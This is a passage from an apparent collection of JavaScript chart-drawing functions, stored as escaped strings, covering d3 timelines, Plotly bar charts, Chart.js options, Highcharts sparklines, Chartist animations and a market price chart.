this.dataSet.dataLabel[0].length * 9 * 1.5) / 2), 15);\n this.chart.fill;\n this.chart.rotate( - 270 * Math.PI / 180);\n\n // draw horizontal label, rotate needed\n this.chart.font = \"18px Calibri\";\n\n // default font size is \"18px Calibri\" (lenth * 9 pixels), make sure label is print in the middle\n this.chart.fillText(this.dataSet.dataLabel[1], Math.floor((this.len - this.dataSet.dataLabel[1].length * 9) / 2) + this.space, this.hei + this.space + 30);// 30 pixels under the base line\n this.chart.fill;\n }", "function plot_time_to_acc_in_div(canvas_id, esb_type, esb_size) {\n var net_arch = inputObject.network_archeticture;\n var dataset = inputObject.dataset;\n var h_sizes = inputObject.horizontal;\n var v_sizes = inputObject.vertical;\n\n // Get the index of columns we are going to display\n var indexes = get_indexes();\n\n var types = [];\n if (inputObject.horizontal.length > 0) {\n types.push(\"horizontal\");\n }\n if (inputObject.vertical.length) {\n types.push(\"vertical\");\n }\n\n t = [net_arch, dataset, esb_type, esb_size];\n json_filename = 'data/time_to_acc/' + t.join('_') + '.json';\n var ret = readTextFile(json_filename);\n var json = JSON.parse(ret);\n var x_values = json.x_values;\n var y_sgl = json.total_time_sgl;\n var y_esb = json.total_time_esb;\n var esb_win = json.esb_win;\n\n var x_values_t = [];\n for (let i of indexes) {\n x_values_t.push(x_values[i]);\n }\n var y_sgl_t = [];\n for (let i of indexes) {\n y_sgl_t.push(y_sgl[i]);\n }\n var y_esb_t = [];\n for (let i of indexes) {\n y_esb_t.push(y_esb[i]);\n }\n var esb_win_t = [];\n for (let i of indexes) {\n esb_win_t.push(esb_win[i]);\n }\n console.log('esb win', esb_win_t);\n\n var xs = [];\n var sgl_time = [];\n var esb_time = [];\n for (let i in esb_win) {\n if (esb_win_t[i] === 1) {\n xs.push(x_values_t[i]);\n sgl_time.push(y_sgl_t[i]);\n esb_time.push(y_esb_t[i]);\n }\n }\n\n // Time of single\n var trace1 = {\n x: xs,\n y: sgl_time,\n name: 'single',\n type: 'bar',\n opacity: 0.5,\n marker: {\n color: 'rgb(251,180,174)',\n line: {\n // color: 'rgb(8,48,107)',\n width: 1.5\n }\n }\n };\n // Time of ensemble\n var trace2 = {\n x: xs,\n y: esb_time,\n name: 'ensemble',\n type: 'bar',\n marker: {\n color: 'rgba(204,235,197,0.5)',\n line: {\n // color: 'rgb(8,48,107)',\n width: 1.5\n }\n }\n };\n\n\n var data = [trace1, trace2];\n\n var layout = {\n title: 'Time To Accuracy',\n xaxis: {\n title: 'Width factor|Depth|Parameters (M)',\n type: 'category',\n tickangle: 45,\n automargin: true,\n },\n yaxis: {\n title: 'Time (s)',\n }\n };\n\n Plotly.newPlot(canvas_id, data, layout);\n\n}", "function updateTimeLine () {\n var meanCol = columnMean(parsedData.colBased)\n // set the domains for yScaleTLOri, xScaleTL\n timeLine.yScaleOri.domain(\n d3.extent(meanCol, function (d) {\n return d.val\n })\n )\n timeLine.xScale.domain(d3.extent(Object.keys(parsedData.colBased)))\n timeLine.xScale.domain(d3.extent(Array.from(Array(Object.keys(parsedData.colBased).length).keys())))\n\n // update yAxisTLOri and xAxisTL\n d3.select('#g-xAxisTL')\n .call(timeLine.xAxisTL)\n .selectAll('text')\n .attr('font-weight', 'normal')\n .style('text-anchor', 'end')\n .attr('dx', '.8em')\n .attr('dy', '.5em')\n .attr('transform', function (d) {\n return 'rotate(-30)'\n })\n d3.select('#g-yAxisTLOri')\n .call(timeLine.yAxisOri)\n\n // attach data to x&yaxis and draw the linear timeline of the orignal dataset\n d3.select('#pathTimelineOri')\n .datum(meanCol)\n .attr('fill', 'none')\n .attr('stroke', 'black')\n .attr('stroke-linejoin', 'round')\n .attr('stroke-linecap', 'round')\n .attr('stroke-width', 2)\n .attr('d', timeLine.lineOri)\n .attr('transform', 'translate(' + globalSettings.xpadding + ',' + -globalSettings.ypadding + ')')\n\n // draw points in the timeline\n d3.select('#g-TLPointsOri')\n .selectAll('rect').remove()\n d3.select('#g-TLPointsOri')\n .selectAll('rect')\n .data(meanCol)\n .enter()\n .append('rect')\n .attr('id', function (d) {\n return 'c' + d.col\n })\n .attr('x', function (d) {\n return timeLine.xScale(d.idx) - timeLine.wPoints / 2\n })\n .attr('y', function (d) {\n return timeLine.yScaleOri(d.val) - timeLine.hPoints / 2\n })\n .attr('height', timeLine.wPoints)\n .attr('width', timeLine.hPoints)\n .attr('stroke', 'black')\n .attr('stroke-width', 1)\n .attr('fill', 'black')\n .on('mouseover', mouseOverOri)\n .on('mouseout', mouseOutOri)\n}", "function initTimeLine () {\n // layout settings\n timeLine.width = 350 - globalSettings.margin.left - globalSettings.margin.right\n timeLine.height = 150 - globalSettings.margin.top - globalSettings.margin.bottom\n timeLine.wPoints = 5\n timeLine.hPoints = 5\n\n // set scales and axes\n timeLine.xScale = d3.scaleLinear().rangeRound([0, timeLine.width])\n timeLine.yScaleOri = d3.scaleLinear().rangeRound([timeLine.height, 0])\n timeLine.yScaleCo = d3.scaleLinear().range([timeLine.height, globalSettings.ypadding])\n timeLine.xAxisTL = d3\n .axisBottom()\n .scale(timeLine.xScale)\n .ticks(parsedData.keysCol.length)\n .tickFormat(function (d) {\n return Object.keys(parsedData.colBased)[d]\n })\n timeLine.yAxisOri = d3.axisLeft().scale(timeLine.yScaleOri).ticks(5)\n timeLine.yAxisCo = d3.axisRight().scale(timeLine.yScaleCo).tickFormat(function (d, i) {\n return 'col-Clust' + (i + 1)\n })\n\n // line generators\n timeLine.lineOri = d3\n .line()\n .x(function (d) {\n // use the index instead of real values for drawing lines\n // so to be used for different datasets\n return timeLine.xScale(d.idx)\n })\n .y(function (d) {\n return timeLine.yScaleOri(d.val)\n })\n\n timeLine.lineCo = d3\n .line()\n .x(function (d, i) {\n return timeLine.xScale(i)\n })\n .y(function (d) {\n return timeLine.yScaleCo(d)\n })\n\n initTimeLineSvg()\n}", "function line_options(element,data,canvas_id,chart_id,chart_datas){\n y_subset_max = 0\n y_overall_max = 0\n data.datas.forEach(function(item,i){\n if(i==0){\n y_subset_max = Math.max(...item.data) \n }else{\n y_overall_max = Math.max(...item.data) \n }\n })\n y_max = 0\n if(Math.abs(y_overall_max-y_subset_max)>10000000){\n y_max = y_subset_max\n\n }else{\n y_max = (y_overall_max>y_subset_max)?y_overall_max:y_subset_max\n }\n \n var options = { \n // Container for pan options\n plugins: {\n zoom: {\n pan: {\n enabled: true,\n mode: 'x',\n rangeMin: {\n y: 0\n },\n },\n zoom: {\n enabled: true,\n sensitivity: 0.001,\n speed: 10,\n mode: 'x',\n rangeMin: {\n y: 0\n },\n rangeMax: {\n y: 500\n },\n \n }\n }\n },\n legend:{\n display:false\n },\n elements: {\n line: {\n tension: 0\n }\n },\n tooltips:{\n displayColors: false,\n callbacks:{\n title:function(tooltipItem){\n let title = data.labels[tooltipItem[0].index]\n if(title.length>20){\n start = 0\n valid = true\n result = []\n while(valid){\n if((start + 20)<title.length){\n result.push(title.substring(start,start+20))\n start +=20 \n }else{\n valid = false\n }\n }\n return result\n }else{\n return title\n } \n },\n label:function(tooltipItem,data){\n var chart_id ='a_chart_'+element.getAttribute('id').substring(10)\n chart_data = chart_datas[curr_dataset][chart_id]\n \n if (chart_data){\n var modify_labels = Object.keys(chart_data.otherInfo).map(function(item){\n item = item.toString()\n if(item.length>10){\n return item.substring(0,10) + '...'\n }else{\n return item\n } \n })\n \n if(modify_labels.includes(tooltipItem.xLabel)){\n var multistringText = [tooltipItem.yLabel] \n //產生tooltip\n var label_index = modify_labels.indexOf(tooltipItem.xLabel)\n var one2oneList = Object.values(chart_data.otherInfo)[label_index]\n Object.keys(one2oneList).forEach(function(key){\n let text = key + '=' + one2oneList[key]\n text = (text.length>20)? text.substring(0,20):text\n multistringText.push(text)\n })\n \n return multistringText\n \n }else{\n if (tooltipItem.yLabel == \"\"){\n value = data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index]\n return Math.floor(value*100) + \"%\"\n }\n return tooltipItem.yLabel\n } \n }else{\n if (tooltipItem.yLabel == \"\"){\n value = data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index]\n return Math.floor(value*100) + \"%\"\n }\n return tooltipItem.yLabel\n }\n \n }\n }\n },\n responsive: true,\n maintainAspectRatio: false,\n scales: {\n xAxes: [{\n scaleLabel: {\n display: true,\n labelString: data.x,\n fontStyle: \"bold\",\n },\n ticks: {\n autoSkip: true,\n maxTicksLimit: 15\n },\n afterTickToLabelConversion : function(q){\n for(var tick in q.ticks){\n if(q.ticks[tick].length>10){\n q.ticks[tick] = q.ticks[tick].substring(0,10) + '...'\n }\n }\n }\n }],\n yAxes: [{\n scaleLabel: {\n display: true,\n labelString: data.y,\n fontStyle: \"bold\"\n },\n position:\"left\",\n ticks: {\n min: 0\n },\n afterTickToLabelConversion : function (q){\n for(var tick in q.ticks){\n if(data.y_glo_aggre == \"per\"){\n var value = parseFloat(q.ticks[tick])\n q.ticks[tick] = Math.round((value*100)).toString() + \"%\" ;\n }else{\n var value = parseInt(q.ticks[tick]) \n if(value>=1000 && value<1000000){\n q.ticks[tick] = parseInt(value / 1000).toString() + \"K\" ;\n }else if(value>=1000000){\n q.ticks[tick] = parseInt(value / 1000000).toString() + \"M\" ;\n }\n }\n \n }\n }\n },{\n id: 'overall',\n position:\"right\",\n display: false,\n ticks: {\n min: 0\n },\n afterTickToLabelConversion : function (q){\n for(var tick in q.ticks){\n if(data.y_glo_aggre == \"per\"){\n var value = parseFloat(q.ticks[tick])\n q.ticks[tick] = Math.round((value*100)).toString() + \"%\" ;\n }else{\n var value = parseInt(q.ticks[tick]) \n if(value>=1000 && value<1000000){\n q.ticks[tick] = parseInt(value / 1000).toString() + \"K\" ;\n }else if(value>=1000000){\n q.ticks[tick] = parseInt(value / 1000000).toString() + \"M\" ;\n }\n }\n \n }\n }\n }\n ],\n }\n }\n\n \n //show second y-axes if there are two dataset\n if(data.datas.length>1){\n options.scales.yAxes[1].display = true\n }\n \n return options\n}", "function doChunk() {\n\t\t\tvar time = +new Date(),\n\t\t\t\ti,\n\t\t\t\tlen = $spans.length,\n\t\t\t\t$span,\n\t\t\t\tstringdata,\n\t\t\t\tstringlabels,\n\t\t\t\tstringsubindex,\n\t\t\t\tsubindex_colors = [\"#FFCD00\", \"#6DF5D7\", \"#BE8FE7\"],\n\t\t\t\tcolums_color,\n\t\t\t\tlabels = new Array(),\n\t\t\t\tarr,\n\t\t\t\tdata,\n\t\t\t\tchart;\n\n\t\t\tfor (i=0; i<len; i++) {\n\t\t\t\t$span = $($spans[i]);\n\t\t\t\tstringlabels = $span.data('labels');\n\t\t\t\tstringsubindex = $span.data('subindex');\n\t\t\t\tstringdata = $span.data('sparkline');\n\t\t\t\tarr = stringdata.split('; ');\n\t\t\t\tlabels = [\" \"];\n\t\t\t\tlabels = labels.concat(stringlabels.split(','));\n\t\t\t\tswitch(stringsubindex){\n\t\t\t\t\tcase \"readiness\": \t colums_color = subindex_colors[0];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t\tcase \"implementation\":colums_color = subindex_colors[1];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t\tcase \"impact\": colums_color = subindex_colors[2];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t}\n\n\t\t\t\t//var labels = new Function(\"return [\" + stringlabels + \"];\")();\n\t\t\t\t//var labels = (new Function(\"return [\" + stringlabels+ \"];\")());\n\t\t\t\t//console.log(labels);\n\t\t\t\tdata = $.map(arr[0].split(','), parseFloat);\n\t\t\t\t//console.log(data);\n\t\t\t\t//labels = $.map(stringlabels.split(','));\n\t\t\t\tchart = {};\n\n\t\t\t\tif (arr[1]) {\n\t\t\t\t\tchart.type = arr[1];\n\t\t\t\t}\n\t\t\t\t$span.highcharts('SparkLine', {\n\t\t\t\t\tseries: [{\n\t\t\t\t\t\tdata: data,\n\t\t\t\t\t\tcolor:colums_color,\n\t\t\t\t\t\tpointStart: 1\n\t\t\t\t\t}],\n\t\t\t\t\txAxis: {\n\t\t\t\t\t type: 'category',\n\t\t\t\t\t // minRange: 1,\n\t\t\t\t\t\tcategories: labels,//countries,\n\t\t\t\t\t\tlineColor:colums_color\n\t\t\t\t\t\t/*labels: {\n\t\t\t\t\t\t\tenabled:false\n\t\t\t\t\t\t}*/\n\t\t\t\t\t},\n\t\t\t\t\ttooltip: {\n\t\t\t\t\t\theaderFormat: '<span style=\"font-size: 10px\">{point.x}:</span>',\n\t\t\t\t\t\tpointFormat: '<b>{point.y}</b>'\n\t\t\t\t\t},\n\t\t\t\t\tchart: chart\n\t\t\t\t});\n\n\t\t\t\tn += 1;\n\n\t\t\t\t// If the process takes too much time, run a timeout to allow interaction with the browser\n\t\t\t\tif (new Date() - time > 500) {\n\t\t\t\t\t$spans.splice(0, i + 1);\n\t\t\t\t\tsetTimeout(doChunk, 0);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}", "function doChunk() {\n\t\t\tvar time = +new Date(),\n\t\t\t\ti,\n\t\t\t\tlen = $spans.length,\n\t\t\t\t$span,\n\t\t\t\tstringdata,\n\t\t\t\tstringlabels,\n\t\t\t\tstringsubindex,\n\t\t\t\tsubindex_colors = [\"#FFCD00\", \"#6DF5D7\", \"#BE8FE7\"],\n\t\t\t\tcolums_color,\n\t\t\t\tlabels = new Array(),\n\t\t\t\tarr,\n\t\t\t\tdata,\n\t\t\t\tchart;\n\n\t\t\tfor (i=0; i<len; i++) {\n\t\t\t\t$span = $($spans[i]);\n\t\t\t\tstringlabels = $span.data('labels');\n\t\t\t\tstringsubindex = $span.data('subindex');\n\t\t\t\tstringdata = $span.data('sparkline');\n\t\t\t\tarr = stringdata.split('; ');\n\t\t\t\tlabels = [\" \"];\n\t\t\t\tlabels = labels.concat(stringlabels.split(','));\n\t\t\t\tswitch(stringsubindex){\n\t\t\t\t\tcase \"readiness\": \t colums_color = subindex_colors[0];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t\tcase \"implementation\":colums_color = subindex_colors[1];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t\tcase \"impact\": colums_color = subindex_colors[2];\n\t\t\t\t\t\t\t\t\t\t break;\n\t\t\t\t}\n\n\t\t\t\t//var labels = new Function(\"return [\" + stringlabels + \"];\")();\n\t\t\t\t//var labels = (new Function(\"return [\" + stringlabels+ \"];\")());\n\t\t\t\t//console.log(labels);\n\t\t\t\tdata = $.map(arr[0].split(','), parseFloat);\n\t\t\t\t//console.log(data);\n\t\t\t\t//labels = $.map(stringlabels.split(','));\n\t\t\t\tchart = {};\n\n\t\t\t\tif (arr[1]) {\n\t\t\t\t\tchart.type = arr[1];\n\t\t\t\t}\n\t\t\t\t$span.highcharts('SparkLine', {\n\t\t\t\t\tseries: [{\n\t\t\t\t\t\tdata: data,\n\t\t\t\t\t\tcolor:colums_color,\n\t\t\t\t\t\tpointStart: 1\n\t\t\t\t\t}],\n\t\t\t\t\txAxis: {\n\t\t\t\t\t type: 'category',\n\t\t\t\t\t // minRange: 1,\n\t\t\t\t\t\tcategories: labels,//countries,\n\t\t\t\t\t\tlineColor:colums_color\n\t\t\t\t\t\t/*labels: {\n\t\t\t\t\t\t\tenabled:false\n\t\t\t\t\t\t}*/\n\t\t\t\t\t},\n\t\t\t\t\ttooltip: {\n\t\t\t\t\t\theaderFormat: '<span style=\"font-size: 10px\">{point.x}:</span>',\n\t\t\t\t\t\tpointFormat: '<b>{point.y}</b>'\n\t\t\t\t\t},\n\t\t\t\t\tchart: chart\n\t\t\t\t});\n\n\t\t\t\tn += 1;\n\n\t\t\t\t// If the process takes too much time, run a timeout to allow interaction with the browser\n\t\t\t\tif (new Date() - time > 500) {\n\t\t\t\t\t$spans.splice(0, i + 1);\n\t\t\t\t\tsetTimeout(doChunk, 0);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t// Print a feedback on the performance\n\t\t\t\t//if (n === fullLen) {\n\t\t\t\t// $('#result').html('Generated ' + fullLen + ' sparklines in ' + (new Date() - start) + ' ms');\n\t\t\t\t//}\n\t\t\t}\n\t\t}", "drawChart(data_unparsed, data_format) {\n\n // Save object (Timedata) instance\n var self = this;\n\n // Parse data\n var data = [];\n for(var i = 0; i < data_unparsed.length; i++) {\n data.push(\n {\n date: new Date(data_unparsed[i]['date']),\n value: data_unparsed[i]['value']\n })\n }\n\n // Remove old data\n self.timedata_svg.selectAll('*').remove();\n\n // Define display translation on SVG\n var g = self.timedata_svg.append('g')\n .attr('transform', 'translate(' + self.margin.left + ',' + self.margin.top + ')');\n\n // Define x and y axis scale dimensions with respect to SVG\n var x = d3.scaleTime().rangeRound([0, self.svgWidth - 50]);\n var y = d3.scaleLinear().rangeRound([self.svgHeight, 0]);\n\n // Define line graphic from parsed data\n var line = d3.line()\n .x(function(d){ return x(d.date) })\n .y(function(d){ return y(d.value) });\n\n // Define x and y domain values\n x.domain(d3.extent(data, function(d){ return d.date }));\n y.domain(d3.extent(data, function(d){ return d.value }));\n\n // Add background grid to SVG on x axis\n g.append('g')\n .attr('class', 'grid')\n .call(d3.axisBottom(x).ticks(10)\n .tickSize(self.svgHeight)\n .tickFormat('')\n );\n\n // Add background grid to SVG on y axis\n g.append('g')\n .attr('class', 'grid')\n .call(d3.axisLeft(y).ticks(5)\n .tickSize(-(self.svgWidth-50))\n .tickFormat('')\n );\n\n // Add text on x axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .attr('transform', 'translate(0,' + self.svgHeight + ')')\n .call(d3.axisBottom(x))\n\n // Add a thich line over the x axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .call(d3.axisBottom(x))\n .attr('stroke-width', 2)\n .selectAll('text')\n .remove()\n\n // Add a thich line over the y axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .attr('transform', 'translate(' + parseInt(self.svgWidth - 50) + ', 0)')\n .call(d3.axisLeft(y))\n .attr('stroke-width', 2)\n .selectAll('text')\n .remove()\n\n // Add text on y axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .call(d3.axisLeft(y))\n .append('text')\n .attr('id', 'serie_unit')\n .attr('fill', '#000')\n .attr('transform', 'rotate(-90)')\n .attr('y', 6)\n .attr('dy', '0.71em')\n .attr('dx', '-0.71em')\n .attr('text-anchor', 'end')\n .text($(self.dataselection_name).val() +' [' + data_format.units[self.selected_map] +']');\n\n // Add data and line graphic to SVG\n g.append('path')\n .datum(data)\n .attr('fill', 'none')\n .attr('stroke', 'steelblue')\n .attr('stroke-linejoin', 'round')\n .attr('stroke-linecap', 'round')\n .attr('stroke-width', 2)\n .attr('d', line);\n\n // Define the tip position when hovering over data\n var dx_tip = -50;\n var dy_tip = 30;\n\n // Add hovering tip to every point in data\n self.timedata_svg.selectAll('.dot')\n .data(data)\n .enter().append('circle')\n .attr('class', 'dot')\n .attr('cx', function(d){ return x(d.date) + self.margin.left })\n .attr('cy', function(d){ return y(d.value) + self.margin.top })\n .attr('r', 5)\n .attr('opacity', 0.0)\n .on('mouseover', function(d){\n // Add the tip and text when hovering over a point\n\n var x_t = d3.select(this).attr('cx');\n var y_t = d3.select(this).attr('cy');\n var w = d3.select(this).attr('r');\n var h = d3.select(this).attr('r');\n var cx = parseInt(x_t)+parseInt(w)/2;\n var cy = parseInt(y_t)+parseInt(h)/2;\n var dx = cx+dx_tip;\n var dy = cy-dy_tip;\n var asdf = new Date(d.date);\n // Define text background rectangle\n self.timedata_svg.append('rect')\n .attr('id', 'tip_rect')\n .attr('x', parseInt(x_t)-70)\n .attr('y', parseInt(y_t)-60)\n .attr('width', 140)\n .attr('height', 40)\n .attr('fill', 'black')\n .attr('opacity', 0.7)\n .style('pointer-events','none');\n // Define text of the data to show (date)\n self.timedata_svg.append('text')\n .attr('id', 'tip_text_date')\n .text(''+asdf.getDate()+'/'+(asdf.getMonth()+1)+'/'+asdf.getFullYear()+'-'+('0' + asdf.getHours()).slice(-2)+':'+('0' + asdf.getMinutes()).slice(-2))\n .attr('text-anchor', 'end')\n .attr('x', parseInt(x_t)+68)\n .attr('y', parseInt(y_t)-45)\n .attr('fill', 'white')\n .attr('font-size', '16px')\n .style('pointer-events','none');\n // Define text of the data to show (value)\n self.timedata_svg.append('text')\n .attr('id', 'tip_text_value')\n .text(''+d.value.toFixed(3) + data_format.units[self.selected_map])\n .attr('text-anchor', 'end')\n .attr('x', parseInt(x_t)+68)\n .attr('y', parseInt(y_t)-25)\n .attr('fill', 'white')\n .attr('font-size', '16px')\n .style('pointer-events','none');\n // Define tip line\n self.timedata_svg.append('line')\n .attr('id', 'tip_line')\n .attr('x1', x_t)\n .attr('y1', y_t)\n .attr('x2', parseInt(x_t)-70)\n .attr('y2', parseInt(y_t)-20)\n .attr('stroke-width', 1)\n .attr('stroke', 'red')\n .style('pointer-events','none');\n // Define red circle highlight\n self.timedata_svg.append('circle')\n .attr('id', 'tip_circle')\n .attr('cx', x_t)\n .attr('cy', y_t)\n .attr('r', 3)\n .attr('fill', 'red')\n .style('pointer-events','none');\n $(this).attr('class', 'focus')\n })\n .on('mouseout', function(){\n // Delete the tip and text when hovering outside data point\n\n d3.select('#tip_rect').remove();\n d3.select('#tip_text_date').remove();\n d3.select('#tip_text_value').remove();\n d3.select('#tip_line').remove();\n d3.select('#tip_circle').remove();\n $(this).attr('class', 'dot')\n });\n }", "function makedata() {\n\n d3.select(`#${lineID}`).html('')\n d3.select(`#${barID}`).html('')\n d3.select(\"#outbody\").html('')\n d3.select(\"#pip\").style('color','black').text('Please Wait')\n d3.select(\"#money\").style('color','black').text('Please Wait')\n d3.select(\"#action\").style('color','black').style('font-weight','normal').text('Please Wait')\n all_dict = ['Initial', '-', '-', '-', '-', '-', '10000']\n tabelizer()\n \n\n pts = [], avg = [], y0 = [], y1 = [], x0 = [], x1 = [], color = []\n dinero = 10000\n signif = false\n movemoveit = false\n trend = 0\n wait = Array(10).fill(0)\n avg = []\n e2 = xrange\n actual = [], minute = [], poschange = [], negchange = [], shapes = [], shapeact = []\n max = 0\n pipchange = null, reco = null, profit = [], mvmt = []\n \n e = 0\n s = 0\n\n data.forEach(zz => {\n\n actual.push(zz['actual'])\n var change = zz['change']\n\n if (change < 0) {\n negchange = change \n poschange = 0\n }\n else {\n poschange = change\n negchange = 0\n }\n\n });\n\n clock()\n}", "function drawChart() {\n ctx.beginPath();\n ctx.strokeStyle = \"blue\";\n var firstElement = true;\n ctx.font = \"10px sans-serif\";\n //plot each entry if it is in the range\n for (let entry of entries) {\n //check if entry is in the range of xmin and xmax, otherwise ignore it\n if (entry.date > xMin && entry.date < xMax) {\n //calculate location of pace coordinate\n let m = entry.getMin();\n let s = entry.getSec();\n let paceLocation = (m * 4) + (s / 15);\n\n //calculate location of date coordinate\n //plan - we have 60 blocks of usable space, can get date in ms with getTime()\n //range=xmax-min\n //value=date-xmin\n //value=value*60blocks\n let xRange = xMax.getTime() - xMin.getTime();\n let dateLocation = (entry.date.getTime() - xMin.getTime());\n dateLocation = ((dateLocation / xRange) * 60) + 5;//add 5 for axis offset\n ctx.strokeText(m + \":\" + s + \" \", blocks(dateLocation), blocks(40 - paceLocation - 1));\n \n //start at this first element\n if (firstElement) { ctx.moveTo(blocks(dateLocation), blocks(40 - paceLocation)); }\n\n //connect remaining data points\n ctx.lineTo(blocks(dateLocation), blocks(40 - paceLocation));\n ctx.arc(blocks(dateLocation), blocks(40 - paceLocation), 2, 0, Math.PI * 2, true);\n firstElement = false;\n }\n }\n ctx.font = \"12px sans-serif\";\n ctx.stroke();\n}", "function updateChartist() {\r\n // Use D3 to select the dropdown menu\r\n var dropdownMenu = d3.select(\"#lineSelect\");\r\n // Assign the value of the dropdown menu option to a variable\r\n var dataset = dropdownMenu.property(\"value\");\r\n // Initialize x and y arrays\r\n var x = [];\r\n var y = [];\r\n if (dataset === 'cr') {\r\n var chart = new Chartist.Line('#chart2', {\r\n labels: pop_keys,\r\n series: cr_series\r\n }, options_line);\r\n }\r\n \r\n else if (dataset === 'en') {\r\n var chart = new Chartist.Line('#chart2', {\r\n labels: pop_keys,\r\n series: en_series\r\n }, options_line); \r\n }\r\n\r\n else if (dataset === 'vu') {\r\n var chart = new Chartist.Line('#chart2', {\r\n labels: pop_keys,\r\n series: vu_series\r\n }, options_line); \r\n }\r\n \r\n // Let's put a sequence number aside so we can use it in the event callbacks\r\n var seq = 0,\r\n delays = 20,\r\n durations = 500;\r\n \r\n // Once the chart is fully created we reset the sequence\r\n chart.on('created', function() {\r\n seq = 0;\r\n });\r\n \r\n // On each drawn element by Chartist we use the Chartist.Svg API to trigger SMIL animations\r\n chart.on('draw', function(data) {\r\n seq++;\r\n \r\n if(data.type === 'line') {\r\n // If the drawn element is a line we do a simple opacity fade in. This could also be achieved using CSS3 animations.\r\n data.element.animate({\r\n opacity: {\r\n // The delay when we like to start the animation\r\n begin: seq * delays + 500,\r\n // Duration of the animation\r\n dur: durations,\r\n // The value where the animation should start\r\n from: 0,\r\n // The value where it should end\r\n to: 1\r\n }\r\n });\r\n } \r\n \r\n else if(data.type === 'label' && data.axis === 'x') {\r\n data.element.animate({\r\n y: {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data.y + 100,\r\n to: data.y,\r\n // We can specify an easing function from Chartist.Svg.Easing\r\n easing: 'easeOutQuart'\r\n }\r\n });\r\n } \r\n \r\n else if(data.type === 'label' && data.axis === 'y') {\r\n data.element.animate({\r\n x: {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data.x - 100,\r\n to: data.x,\r\n easing: 'easeOutQuart'\r\n }\r\n });\r\n } \r\n \r\n else if(data.type === 'point') {\r\n data.element.animate({\r\n x1: {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data.x - 10,\r\n to: data.x,\r\n easing: 'easeOutQuart'\r\n },\r\n x2: {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data.x - 10,\r\n to: data.x,\r\n easing: 'easeOutQuart'\r\n },\r\n opacity: {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: 0,\r\n to: 1,\r\n easing: 'easeOutQuart'\r\n }\r\n });\r\n } \r\n \r\n else if(data.type === 'grid') {\r\n // Using data.axis we get x or y which we can use to construct our animation definition objects\r\n var pos1Animation = {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data[data.axis.units.pos + '1'] - 30,\r\n to: data[data.axis.units.pos + '1'],\r\n easing: 'easeOutQuart'\r\n };\r\n \r\n var pos2Animation = {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: data[data.axis.units.pos + '2'] - 100,\r\n to: data[data.axis.units.pos + '2'],\r\n easing: 'easeOutQuart'\r\n };\r\n \r\n var animations = {};\r\n animations[data.axis.units.pos + '1'] = pos1Animation;\r\n animations[data.axis.units.pos + '2'] = pos2Animation;\r\n animations['opacity'] = {\r\n begin: seq * delays,\r\n dur: durations,\r\n from: 0,\r\n to: 1,\r\n easing: 'easeOutQuart'\r\n };\r\n \r\n data.element.animate(animations);\r\n }\r\n });\r\n \r\n // We update the chart every time it's created with a delay\r\n chart.on('created', function() {\r\n if(window.__exampleAnimateTimeout) {\r\n clearTimeout(window.__exampleAnimateTimeout);\r\n window.__exampleAnimateTimeout = null;\r\n }\r\n window.__exampleAnimateTimeout = setTimeout(chart.update.bind(chart), 15000);\r\n });\r\n }", "function drawChart() {\n details.html('');\n wrap.html('');\n\n svg = wrap.append('svg')\n .attr('width', width + margin.left + margin.right)\n .attr('height', height + margin.top + margin.bottom);\n\n change = details.append('div').attr('class', 'change');\n range = details.append('div').attr('class', 'range');\n showHigh = range.append('span').attr('class', 'high');\n showLow = range.append('span').attr('class', 'low');\n volume = details.append('div').attr('class', 'volume');\n\n bg = svg.append('rect')\n .attr('width', width + margin.left + margin.right)\n .attr('height', height + margin.top + margin.bottom)\n .style({opacity: 0});\n\n pointer = svg.append('path')\n .attr('class', 'pointer')\n .attr('d', 'M 0 0 L 7 -7 L 40 -7 L 40 7 L 7 7 L 0 0')\n .attr('transform', 'translate(' +\n (width + margin.left) + ',' +\n (height + margin.top) + ')');\n\n svg.append('rect').attr('width', width + margin.left + margin.right)\n .attr('class', 'timeBackground')\n .attr('height', margin.bottom)\n .attr('transform', 'translate(0,' + (height + margin.top) + ')');\n\n gEnter = svg.append('g')\n .attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n gEnter.append('g').attr('class', 'grid');\n gEnter.append('path').attr('class', 'line');\n\n gEnter.append('g').attr('class', 'x axis');\n gEnter.append('g').attr('class', 'price axis')\n .attr('transform', 'translate(' + width + ', 0)');\n\n flipping = false;\n flip = svg.append('g').attr('class', 'flip')\n .attr('width', margin.right)\n .attr('height', margin.bottom)\n .attr('transform', 'translate(' +\n (width + margin.left) + ',' +\n (height + margin.top) + ')')\n .on('click', function() {\n d3.event.stopPropagation();\n flipping = true;\n\n dropdownA.selected(self.counter);\n dropdownB.selected(self.base);\n dropdowns.selectAll('div').remove();\n\n dropdowns.append('div')\n .attr('class', 'base dropdowns')\n .attr('id', 'base' + self.index)\n .call(dropdownA);\n\n dropdowns.append('div')\n .attr('class', 'counter dropdowns')\n .attr('id', 'quote' + self.index)\n .call(dropdownB);\n\n self.load();\n\n flipping = false;\n\n if (markets.options.fixed) {\n header.html('<small title=\"' +\n self.base.issuer + '\">' +\n getName(self.base.issuer, self.base.currency) +\n '</small><span>' + baseCurrency + '/' +\n counterCurrency + '</span><small title=\"' +\n self.counter.issuer + '\">' +\n getName(self.counter.issuer, self.counter.currency) +\n '</small>');\n }\n });\n\n flip.append('rect')\n .attr({\n width: margin.right,\n height: margin.bottom\n });\n\n flip.append('text').text('Flip')\n .attr({\n 'text-anchor': 'middle',\n y: margin.bottom * 4 / 5,\n x: margin.right / 2\n });\n\n horizontal = 